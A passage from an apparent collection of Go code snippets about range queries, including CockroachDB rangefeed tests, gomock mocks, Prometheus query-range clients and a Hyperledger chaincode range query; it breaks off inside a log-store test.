roachpb.Value{},\n\t\t}\n\t\tconst numFailures = 2\n\t\tmc := mockClient{\n\t\t\tscan: func(ctx context.Context, span roachpb.Span, asOf hlc.Timestamp, rowFn func(value roachpb.KeyValue)) error {\n\t\t\t\tassert.Equal(t, ts, asOf)\n\t\t\t\tassert.Equal(t, sp, span)\n\t\t\t\trowFn(row)\n\t\t\t\tif i++; i <= numFailures {\n\t\t\t\t\treturn errors.New(\"boom\")\n\t\t\t\t}\n\t\t\t\t// Ensure the rangefeed doesn't start up by canceling the context prior\n\t\t\t\t// to concluding the scan.\n\t\t\t\tcancel()\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\t\tf := rangefeed.NewFactoryWithDB(stopper, &mc, nil /* knobs */)\n\t\trequire.NotNil(t, f)\n\t\trows := make(chan *roachpb.RangeFeedValue)\n\n\t\tr, err := f.RangeFeed(ctx, \"foo\", sp, ts, func(ctx context.Context, value *roachpb.RangeFeedValue) {\n\t\t\trows <- value\n\t\t}, rangefeed.WithInitialScan(func(ctx context.Context) {\n\t\t\tclose(rows)\n\t\t}), rangefeed.WithRetry(shortRetryOptions))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, r)\n\t\tfor i := 0; i < numFailures+1; i++ {\n\t\t\tr, ok := <-rows\n\t\t\trequire.Equal(t, row.Key, r.Key)\n\t\t\trequire.True(t, ok)\n\t\t}\n\t\t_, ok := <-rows\n\t\trequire.False(t, ok)\n\t\tr.Close()\n\t})\n\tt.Run(\"changefeed retries\", func(t *testing.T) {\n\t\tstopper := stop.NewStopper()\n\t\tctx := context.Background()\n\t\tdefer stopper.Stop(ctx)\n\t\tsp := roachpb.Span{\n\t\t\tKey: roachpb.Key(\"a\"),\n\t\t\tEndKey: roachpb.Key(\"c\"),\n\t\t}\n\t\tinitialTS := hlc.Timestamp{WallTime: 1}\n\t\tnextTS := initialTS.Next()\n\t\tlastTS := nextTS.Next()\n\t\trow := roachpb.KeyValue{\n\t\t\tKey: sp.Key,\n\t\t\tValue: roachpb.Value{},\n\t\t}\n\t\tconst (\n\t\t\tnumRestartsBeforeCheckpoint = 3\n\t\t\tfirstPartialCheckpoint = numRestartsBeforeCheckpoint + 1\n\t\t\tsecondPartialCheckpoint = firstPartialCheckpoint + 1\n\t\t\tfullCheckpoint = secondPartialCheckpoint + 1\n\t\t\tlastEvent = fullCheckpoint + 1\n\t\t\ttotalRestarts = lastEvent - 1\n\t\t)\n\t\tvar iteration int\n\t\tvar gotToTheEnd bool\n\t\tmc := mockClient{\n\t\t\tscan: func(\n\t\t\t\tctx context.Context, span roachpb.Span, asOf hlc.Timestamp, rowFn func(value roachpb.KeyValue),\n\t\t\t) error {\n\t\t\t\tt.Error(\"this should not be called\")\n\t\t\t\treturn nil\n\t\t\t},\n\t\t\trangefeed: func(\n\t\t\t\tctx context.Context, span roachpb.Span, startFrom hlc.Timestamp, withDiff bool, eventC chan<- *roachpb.RangeFeedEvent,\n\t\t\t) error {\n\t\t\t\tassert.False(t, withDiff) // it was not set\n\t\t\t\tsendEvent := func(ts hlc.Timestamp) {\n\t\t\t\t\teventC <- &roachpb.RangeFeedEvent{\n\t\t\t\t\t\tVal: &roachpb.RangeFeedValue{\n\t\t\t\t\t\t\tKey: sp.Key,\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\titeration++\n\t\t\t\tswitch {\n\t\t\t\tcase iteration <= numRestartsBeforeCheckpoint:\n\t\t\t\t\tsendEvent(initialTS)\n\t\t\t\t\tassert.Equal(t, startFrom, initialTS)\n\t\t\t\t\treturn errors.New(\"boom\")\n\t\t\t\tcase iteration == firstPartialCheckpoint:\n\t\t\t\t\tassert.Equal(t, startFrom, initialTS)\n\t\t\t\t\teventC <- &roachpb.RangeFeedEvent{\n\t\t\t\t\t\tCheckpoint: &roachpb.RangeFeedCheckpoint{\n\t\t\t\t\t\t\tSpan: roachpb.Span{\n\t\t\t\t\t\t\t\tKey: sp.Key,\n\t\t\t\t\t\t\t\tEndKey: sp.Key.PrefixEnd(),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tResolvedTS: nextTS,\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\t\t\t\t\tsendEvent(initialTS)\n\t\t\t\t\treturn errors.New(\"boom\")\n\t\t\t\tcase iteration == secondPartialCheckpoint:\n\t\t\t\t\tassert.Equal(t, startFrom, initialTS)\n\t\t\t\t\teventC <- &roachpb.RangeFeedEvent{\n\t\t\t\t\t\tCheckpoint: &roachpb.RangeFeedCheckpoint{\n\t\t\t\t\t\t\tSpan: roachpb.Span{\n\t\t\t\t\t\t\t\tKey: sp.Key.PrefixEnd(),\n\t\t\t\t\t\t\t\tEndKey: sp.EndKey,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tResolvedTS: nextTS,\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\t\t\t\t\tsendEvent(nextTS)\n\t\t\t\t\treturn errors.New(\"boom\")\n\t\t\t\tcase iteration == fullCheckpoint:\n\t\t\t\t\t// At this point the frontier should have a complete checkpoint at\n\t\t\t\t\t// nextTS.\n\t\t\t\t\tassert.Equal(t, startFrom, nextTS)\n\t\t\t\t\teventC <- &roachpb.RangeFeedEvent{\n\t\t\t\t\t\tCheckpoint: &roachpb.RangeFeedCheckpoint{\n\t\t\t\t\t\t\tSpan: sp,\n\t\t\t\t\t\t\tResolvedTS: lastTS,\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\t\t\t\t\tsendEvent(nextTS)\n\t\t\t\t\treturn errors.New(\"boom\")\n\t\t\t\tcase iteration == lastEvent:\n\t\t\t\t\t// Send a last event.\n\t\t\t\t\tsendEvent(lastTS)\n\t\t\t\t\tgotToTheEnd = true\n\t\t\t\t\t<-ctx.Done()\n\t\t\t\t\treturn ctx.Err()\n\t\t\t\tdefault:\n\t\t\t\t\tpanic(iteration)\n\t\t\t\t}\n\t\t\t},\n\t\t}\n\t\tf := rangefeed.NewFactoryWithDB(stopper, &mc, nil /* knobs */)\n\t\trows := make(chan *roachpb.RangeFeedValue)\n\t\tr, err := f.RangeFeed(ctx, \"foo\", sp, initialTS, func(\n\t\t\tctx context.Context, value *roachpb.RangeFeedValue,\n\t\t) {\n\t\t\trows <- value\n\t\t}, rangefeed.WithRetry(shortRetryOptions))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, r)\n\t\tstart := timeutil.Now()\n\t\tfor i := 0; i < lastEvent; i++ {\n\t\t\tr := <-rows\n\t\t\tassert.Equal(t, row.Key, r.Key)\n\t\t}\n\t\tminimumBackoff := 850 * time.Microsecond // initialBackoff less jitter\n\t\ttotalBackoff := timeutil.Since(start)\n\t\trequire.Greater(t, totalBackoff.Nanoseconds(), (totalRestarts * minimumBackoff).Nanoseconds())\n\t\tr.Close()\n\t\trequire.True(t, gotToTheEnd)\n\t})\n\tt.Run(\"withDiff\", func(t *testing.T) {\n\t\tstopper := stop.NewStopper()\n\t\tctx := context.Background()\n\t\tdefer stopper.Stop(ctx)\n\t\tsp := roachpb.Span{\n\t\t\tKey: roachpb.Key(\"a\"),\n\t\t\tEndKey: roachpb.Key(\"c\"),\n\t\t}\n\t\tmc := mockClient{\n\t\t\tscan: func(\n\t\t\t\tctx context.Context, span roachpb.Span, asOf hlc.Timestamp, rowFn func(value roachpb.KeyValue),\n\t\t\t) error {\n\t\t\t\tt.Error(\"this should not be called\")\n\t\t\t\treturn nil\n\t\t\t},\n\t\t\trangefeed: func(\n\t\t\t\tctx context.Context, span roachpb.Span, startFrom hlc.Timestamp, withDiff bool, eventC chan<- *roachpb.RangeFeedEvent,\n\t\t\t) error {\n\t\t\t\tassert.True(t, withDiff)\n\t\t\t\teventC <- &roachpb.RangeFeedEvent{\n\t\t\t\t\tVal: &roachpb.RangeFeedValue{\n\t\t\t\t\t\tKey: sp.Key,\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\t<-ctx.Done()\n\t\t\t\treturn ctx.Err()\n\t\t\t},\n\t\t}\n\t\tf := rangefeed.NewFactoryWithDB(stopper, &mc, nil /* knobs */)\n\t\trows := make(chan *roachpb.RangeFeedValue)\n\t\tr, err := f.RangeFeed(ctx, \"foo\", sp, hlc.Timestamp{}, func(\n\t\t\tctx context.Context, value *roachpb.RangeFeedValue,\n\t\t) {\n\t\t\trows <- value\n\t\t}, rangefeed.WithDiff())\n\t\trequire.NoError(t, err)\n\t\t<-rows\n\t\tr.Close()\n\t})\n\tt.Run(\"stopper already stopped\", func(t *testing.T) {\n\t\tstopper := stop.NewStopper()\n\t\tctx := context.Background()\n\t\tsp := roachpb.Span{\n\t\t\tKey: roachpb.Key(\"a\"),\n\t\t\tEndKey: roachpb.Key(\"c\"),\n\t\t}\n\t\tstopper.Stop(ctx)\n\t\tf := rangefeed.NewFactoryWithDB(stopper, &mockClient{}, nil /* knobs */)\n\t\tr, err := f.RangeFeed(ctx, \"foo\", sp, hlc.Timestamp{}, func(\n\t\t\tctx context.Context, value *roachpb.RangeFeedValue,\n\t\t) {\n\t\t})\n\t\trequire.Nil(t, r)\n\t\trequire.True(t, errors.Is(err, stop.ErrUnavailable), \"%v\", err)\n\t})\n\tt.Run(\"initial scan error\", func(t *testing.T) {\n\t\tstopper := stop.NewStopper()\n\t\tctx := context.Background()\n\t\tdefer stopper.Stop(ctx)\n\t\tsp := roachpb.Span{\n\t\t\tKey: roachpb.Key(\"a\"),\n\t\t\tEndKey: roachpb.Key(\"c\"),\n\t\t}\n\t\tvar called int\n\t\tf := rangefeed.NewFactoryWithDB(stopper, &mockClient{\n\t\t\tscan: func(ctx context.Context, span roachpb.Span, asOf hlc.Timestamp, rowFn func(value roachpb.KeyValue)) error {\n\t\t\t\treturn errors.New(\"boom\")\n\t\t\t},\n\t\t}, nil /* knobs */)\n\t\tdone := make(chan struct{})\n\t\tr, err := f.RangeFeed(ctx, \"foo\", sp, hlc.Timestamp{}, func(\n\t\t\tctx context.Context, value *roachpb.RangeFeedValue,\n\t\t) {\n\t\t},\n\t\t\trangefeed.WithInitialScan(nil),\n\t\t\trangefeed.WithOnInitialScanError(func(ctx context.Context, err error) (shouldFail bool) {\n\t\t\t\tif called++; called <= 1 {\n\t\t\t\t\tclose(done)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t}))\n\t\trequire.NotNil(t, r)\n\t\trequire.NoError(t, err)\n\t\t<-done\n\t\tr.Close()\n\t})\n}", "func (m *MockDBHandler) Query(query string, args ...interface{}) (interfaces.DBRow, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{query}\n\tfor _, a := range args {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Query\", varargs...)\n\tret0, _ := ret[0].(interfaces.DBRow)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockQueryer) Query(arg0, arg1 string, arg2 map[string]interface{}, arg3 url.Values) (*query.ResultSet, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(*query.ResultSet)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func queryRange(url, user, password, query string, start, end string, step time.Duration) (model.Matrix, error) {\n\tconfig := api.Config{\n\t\tAddress: url,\n\t}\n\n\tif user != \"\" || password != \"\" {\n\t\tconfig.RoundTripper = promhttp.RoundTripperFunc(func(req *http.Request) (*http.Response, error) {\n\t\t\treq.Header.Add(\"Authorization\", \"Basic \"+\n\t\t\t\tbase64.StdEncoding.EncodeToString([]byte(user+\":\"+password)))\n\t\t\treturn http.DefaultTransport.RoundTrip(req)\n\t\t})\n\t}\n\n\tc, err := api.NewClient(config)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create Prometheus client: %v\", err)\n\t}\n\n\tapi := v1.NewAPI(c)\n\tvar stime, etime time.Time\n\n\tif end == \"\" {\n\t\tetime = time.Now()\n\t} else {\n\t\tetime, err = dateparse.ParseAny(end)\n\t\tif err != nil {\n\t\t\tetime, err = datemaki.Parse(end)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error parsing end time: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif start == \"\" {\n\t\tstime = etime.Add(-10 * time.Minute)\n\t} else {\n\t\tstime, err = dateparse.ParseAny(start)\n\t\tif err != nil {\n\t\t\tstime, err = datemaki.Parse(start)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error parsing start time: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif !stime.Before(etime) {\n\t\tfmt.Fprintln(os.Stderr, \"start time is not before end time\")\n\t}\n\n\tif step == 0 {\n\t\tresolution := math.Max(math.Floor(etime.Sub(stime).Seconds()/250), 1)\n\t\t// Convert seconds to nanoseconds such that time.Duration parses correctly.\n\t\tstep = time.Duration(resolution) * time.Second\n\t}\n\n\tr := v1.Range{Start: stime, End: etime, Step: step}\n\n\tctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute)\n\tval, _, err := api.QueryRange(ctx, query, r) // Ignoring warnings for now.\n\tcancel()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to query Prometheus: %v\", err)\n\t}\n\n\tmetrics, ok := val.(model.Matrix)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"unsupported result format: %s\", val.Type().String())\n\t}\n\n\treturn metrics, nil\n}", "func (q *Query) Range(from, to time.Time) *Query {\n\tq.from, q.to = from, to\n\treturn q\n}", "func TestQuery(t *testing.T) {\n\t_, smc := getConnectionToShardMasterRaftLeader(t)\n\n\tfireQueryRequest(t, smc, &pb.QueryArgs{Num: -1})\n\n}", "func (t *shimTestCC) rangeq(stub ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 2 {\n\t\treturn Error(\"Incorrect number of arguments. Expecting keys for range query\")\n\t}\n\n\tA := args[0]\n\tB := args[0]\n\n\t// Get the state from the ledger\n\tresultsIterator, err := stub.GetStateByRange(A, B)\n\tif err != nil {\n\t\treturn Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\t// buffer is a JSON array containing QueryResults\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"[\")\n\n\tbArrayMemberAlreadyWritten := false\n\tfor resultsIterator.HasNext() {\n\t\tqueryResponse, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn Error(err.Error())\n\t\t}\n\t\t// Add a comma before array members, suppress it for the first array member\n\t\tif bArrayMemberAlreadyWritten == true {\n\t\t\tbuffer.WriteString(\",\")\n\t\t}\n\t\tbuffer.WriteString(\"{\\\"Key\\\":\")\n\t\tbuffer.WriteString(\"\\\"\")\n\t\tbuffer.WriteString(queryResponse.Key)\n\t\tbuffer.WriteString(\"\\\"\")\n\n\t\tbuffer.WriteString(\", \\\"Record\\\":\")\n\t\t// Record is a JSON object, so we write as-is\n\t\tbuffer.WriteString(string(queryResponse.Value))\n\t\tbuffer.WriteString(\"}\")\n\t\tbArrayMemberAlreadyWritten = true\n\t}\n\tbuffer.WriteString(\"]\")\n\n\treturn Success(buffer.Bytes())\n}", "func MockQuery1() *types.Query {\n\tquery := &types.Query{\n\t\tDataSetName: mockWikiStatDataSet,\n\t\tTimeInterval: &types.TimeInterval{Name: \"date\", Start: \"2021-05-06\", End: \"2021-05-08\"},\n\t\tMetrics: []string{\"hits\", \"size_sum\", \"hits_avg\", \"hits_per_size\", \"source_avg\"},\n\t\tDimensions: []string{\"date\", \"class_id\"},\n\t\tFilters: []*types.Filter{\n\t\t\t{OperatorType: types.FilterOperatorTypeNotIn, Name: \"path\", Value: []interface{}{\"*\"}},\n\t\t\t{OperatorType: types.FilterOperatorTypeIn, Name: \"class_id\", Value: []interface{}{1, 2, 3, 4}},\n\t\t},\n\t\tOrders: []*types.OrderBy{\n\t\t\t{Name: \"source_sum\", Direction: types.OrderDirectionTypeDescending},\n\t\t},\n\t\tLimit: &types.Limit{Limit: 2, Offset: 1},\n\t}\n\treturn query\n}", "func TestRawQuery(t *testing.T) {\n\tassert := assert.New(t)\n\tquery, params := Build(NewRawQuery(\"SELECT * FROM Users WHERE ID >= ?\", 10))\n\tassertEqual(assert, \"SELECT * FROM Users WHERE ID >= ?\", query)\n\tassertParams(assert, []interface{}{10}, params)\n}", "func (m *MockDatabase) GetClientsRange(arg0, arg1 int) ([]Client, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetClientsRange\", arg0, arg1)\n\tret0, _ := ret[0].([]Client)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (x *fastReflection_QueryParamsRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n}", "func (t *FenwickTreeSimple) QueryRange(i, j int) int {\n\treturn t.Query(j) - t.Query(i-1)\n}", "func (m *MockDatabase) GetTopicsRange(arg0, arg1 int) ([]TopicKey, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTopicsRange\", arg0, arg1)\n\tret0, _ := ret[0].([]TopicKey)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockClient) Query(ctx context.Context, q interface{}, vars map[string]interface{}) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", ctx, q, vars)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockMutableList) AddRange(min, max ID) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"AddRange\", min, max)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (c *BcsMonitorClient) QueryRangeByPost(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s\", c.opts.Endpoint, QueryRangePath)\n\theader := c.defaultHeader.Clone()\n\theader.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\turl = c.addAppMessage(url)\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRangeByPost\", \"POST\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"POST\", header, []byte(queryString))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func (mr *MockprometheusInterfaceMockRecorder) QueryRange(query, step, stepVal interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"QueryRange\", reflect.TypeOf((*MockprometheusInterface)(nil).QueryRange), query, step, stepVal)\n}", "func (c *BcsMonitorClient) QueryRangeByPost(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s\", c.completeEndpoint, QueryRangePath)\n\theader := c.defaultHeader\n\theader.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\turl = c.addAppMessage(url)\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRangeByPost\", \"POST\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"POST\", c.defaultHeader, []byte(queryString))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func MockQuery2() *types.Query {\n\tquery := &types.Query{\n\t\tDataSetName: mockWikiStatDataSet,\n\t\tTimeInterval: &types.TimeInterval{Name: \"date\", Start: \"2021-05-06\", End: \"2021-05-08\"},\n\t\tMetrics: []string{\"hits\", \"size_sum\", \"hits_avg\", \"hits_per_size\", \"source_avg\"},\n\t\tDimensions: []string{\"time_by_hour\", \"class_id\"},\n\t\tFilters: []*types.Filter{\n\t\t\t{OperatorType: types.FilterOperatorTypeNotIn, Name: \"path\", Value: []interface{}{\"*\"}},\n\t\t\t{OperatorType: types.FilterOperatorTypeIn, Name: \"class_id\", Value: []interface{}{1, 2, 3, 4}},\n\t\t},\n\t\tOrders: []*types.OrderBy{\n\t\t\t{Name: \"time_by_hour\", Direction: types.OrderDirectionTypeAscending},\n\t\t},\n\t\tLimit: &types.Limit{Limit: 10},\n\t}\n\treturn query\n}", "func (q *ColumnQueryAPI) QueryRange(ctx context.Context, req *pb.QueryRangeRequest) (*pb.QueryRangeResponse, error) {\n\tif err := req.Validate(); err != nil {\n\t\treturn nil, status.Error(codes.InvalidArgument, err.Error())\n\t}\n\n\tres, err := q.querier.QueryRange(ctx, req.Query, req.Start.AsTime(), req.End.AsTime(), req.Step.AsDuration(), req.Limit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &pb.QueryRangeResponse{\n\t\tSeries: res,\n\t}, nil\n}", "func (s *ServerGroup) QueryRange(ctx context.Context, query string, r v1.Range) (model.Value, v1.Warnings, error) {\n\treturn s.State().apiClient.QueryRange(ctx, query, r)\n}", "func (c *Client) PromQLRange(\n\tctx context.Context,\n\tquery string,\n\topts ...PromQLOption,\n) (*rpc.PromQL_RangeQueryResult, error) {\n\tif c.grpcClient != nil {\n\t\treturn c.grpcPromQLRange(ctx, query, opts)\n\t}\n\n\tu, err := url.Parse(c.addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tu.Path = \"/api/v1/query_range\"\n\tq := u.Query()\n\tq.Set(\"query\", query)\n\n\t// allow the given options to configure the URL.\n\tfor _, o := range opts {\n\t\to(u, q)\n\t}\n\tu.RawQuery = q.Encode()\n\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq = req.WithContext(ctx)\n\n\tresp, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"unexpected status code %d\", resp.StatusCode)\n\t}\n\n\tvar promQLResponse rpc.PromQL_RangeQueryResult\n\tmarshaler := &runtime.JSONPb{}\n\tif err := marshaler.NewDecoder(resp.Body).Decode(&promQLResponse); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &promQLResponse, nil\n}", "func MockQuery4() *types.Query {\n\tquery := &types.Query{\n\t\tDataSetName: mockWikiStatDataSet,\n\t\tTimeInterval: &types.TimeInterval{Name: \"date\", Start: \"2021-05-06\", End: \"2021-05-08\"},\n\t\tMetrics: []string{\"hits_per_size\"},\n\t\tDimensions: []string{\"class_name\"},\n\t\tFilters: []*types.Filter{\n\t\t\t{OperatorType: types.FilterOperatorTypeIn, Name: \"time_by_hour\", Value: []interface{}{\"2021-05-07 10:00:00\"}},\n\t\t},\n\t}\n\treturn query\n}", "func (v *Validator) validateRangeQuery(ns string, rangeQueryInfo *kvrwset.RangeQueryInfo, updates *statedb.UpdateBatch) (bool, error) {\n\tlogger.Debugf(\"validateRangeQuery: ns=%s, rangeQueryInfo=%s\", ns, rangeQueryInfo)\n\n\t// If during simulation, the caller had not exhausted the iterator so\n\t// rangeQueryInfo.EndKey is not actual endKey given by the caller in the range query\n\t// but rather it is the last key seen by the caller and hence the combinedItr should include the endKey in the results.\n\tincludeEndKey := !rangeQueryInfo.ItrExhausted\n\n\tcombinedItr, err := newCombinedIterator(v.db, updates,\n\t\tns, rangeQueryInfo.StartKey, rangeQueryInfo.EndKey, includeEndKey)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer combinedItr.Close()\n\tvar validator rangeQueryValidator\n\tif rangeQueryInfo.GetReadsMerkleHashes() != nil {\n\t\tlogger.Debug(`Hashing results are present in the range query info hence, initiating hashing based validation`)\n\t\tvalidator = &rangeQueryHashValidator{}\n\t} else {\n\t\tlogger.Debug(`Hashing results are not present in the range query info hence, initiating raw KVReads based validation`)\n\t\tvalidator = &rangeQueryResultsValidator{}\n\t}\n\tvalidator.init(rangeQueryInfo, combinedItr)\n\treturn validator.validate()\n}", "func (m *MockDB) ListRunSummariesInRange(arg0 context.Context, arg1, arg2 time.Time, arg3 time.Duration) ([]*tester.RunSummary, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ListRunSummariesInRange\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].([]*tester.RunSummary)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockQueryer) QueryWithFormat(arg0, arg1, arg2 string, arg3 i18n.LanguageCodes, arg4 map[string]interface{}, arg5 []*query.Filter, arg6 url.Values) (*query.ResultSet, interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryWithFormat\", arg0, arg1, arg2, arg3, arg4, arg5, arg6)\n\tret0, _ := ret[0].(*query.ResultSet)\n\tret1, _ := ret[1].(interface{})\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (m *MockHandler) EventQuery() (*models.SearchQuery, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"EventQuery\")\n\tret0, _ := ret[0].(*models.SearchQuery)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRemote) Ranges(arg0 context.Context, arg1 []ldiff.Range, arg2 []ldiff.RangeResult) ([]ldiff.RangeResult, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Ranges\", arg0, arg1, arg2)\n\tret0, _ := ret[0].([]ldiff.RangeResult)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (pagination *Pagination) Range(r Range) *Pagination {\n\tpagination.driver.Range(r)\n\treturn pagination\n}", "func (m *MockAuthorizeResponder) AddQuery(arg0, arg1 string) {\n\tm.ctrl.Call(m, \"AddQuery\", arg0, arg1)\n}", "func (qm MergeQuerier) QueryRange(ctx context.Context, from, to model.Time, matchers ...*metric.LabelMatcher) ([]local.SeriesIterator, error) {\n\t// Fetch samples from all queriers in parallel\n\tmatrices := make(chan model.Matrix)\n\terrors := make(chan error)\n\tfor _, q := range qm.Queriers {\n\t\tgo func(q Querier) {\n\t\t\tmatrix, err := q.Query(ctx, from, to, matchers...)\n\t\t\tif err != nil {\n\t\t\t\terrors <- err\n\t\t\t} else {\n\t\t\t\tmatrices <- matrix\n\t\t\t}\n\t\t}(q)\n\t}\n\n\t// Group them by fingerprint (unsorted and with overlap).\n\tfpToIt := map[model.Fingerprint]local.SeriesIterator{}\n\tvar lastErr error\n\tfor i := 0; i < len(qm.Queriers); i++ {\n\t\tselect {\n\t\tcase err := <-errors:\n\t\t\tlastErr = err\n\n\t\tcase matrix := <-matrices:\n\t\t\tfor _, ss := range matrix {\n\t\t\t\tfp := ss.Metric.Fingerprint()\n\t\t\t\tif it, ok := fpToIt[fp]; !ok {\n\t\t\t\t\tfpToIt[fp] = sampleStreamIterator{\n\t\t\t\t\t\tss: ss,\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tssIt := it.(sampleStreamIterator)\n\t\t\t\t\tssIt.ss.Values = util.MergeSamples(ssIt.ss.Values, ss.Values)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif lastErr != nil {\n\t\tlog.Errorf(\"Error in MergeQuerier.QueryRange: %v\", lastErr)\n\t\treturn nil, lastErr\n\t}\n\n\titerators := make([]local.SeriesIterator, 0, len(fpToIt))\n\tfor _, it := range fpToIt {\n\t\titerators = append(iterators, it)\n\t}\n\n\treturn iterators, nil\n}", "func TestGetQuery(t *testing.T) {\n\t// set up test server and mocked LogStore\n\tmockLogStore := new(MockedLogStore)\n\tserver := newTestServer(mockLogStore)\n\ttestServer := httptest.NewServer(server.server.Handler)\n\tdefer testServer.Close()\n\tclient := testServer.Client()\n\n\t// query to ask\n\tstartTime := MustParse(\"2018-01-01T12:00:00.000Z\")\n\tendTime := MustParse(\"2018-01-01T13:00:00.000Z\")\n\tquery := logstore.Query{\n\t\tNamespace: \"default\",\n\t\tPodName: \"nginx-deployment-abcde\",\n\t\tContainerName: \"nginx\",\n\t\tStartTime: startTime,\n\t\tEndTime: endTime,\n\t}\n\n\t//\n\t// set up mock expectations\n\t//\n\n\t// will respond with this query result\n\tlogStoreResult := logstore.QueryResult{\n\t\tLogRows: []logstore.LogRow{\n\t\t\t{\n\t\t\t\tTime: startTime,\n\t\t\t\tLog: \"event 1\",\n\t\t\t},\n\t\t},\n\t}\n\n\tmockLogStore.On(\"Ready\").Return(true, nil)\n\tmockLogStore.On(\"Query\", &query).Return(&logStoreResult, nil)\n\n\t//\n\t// make 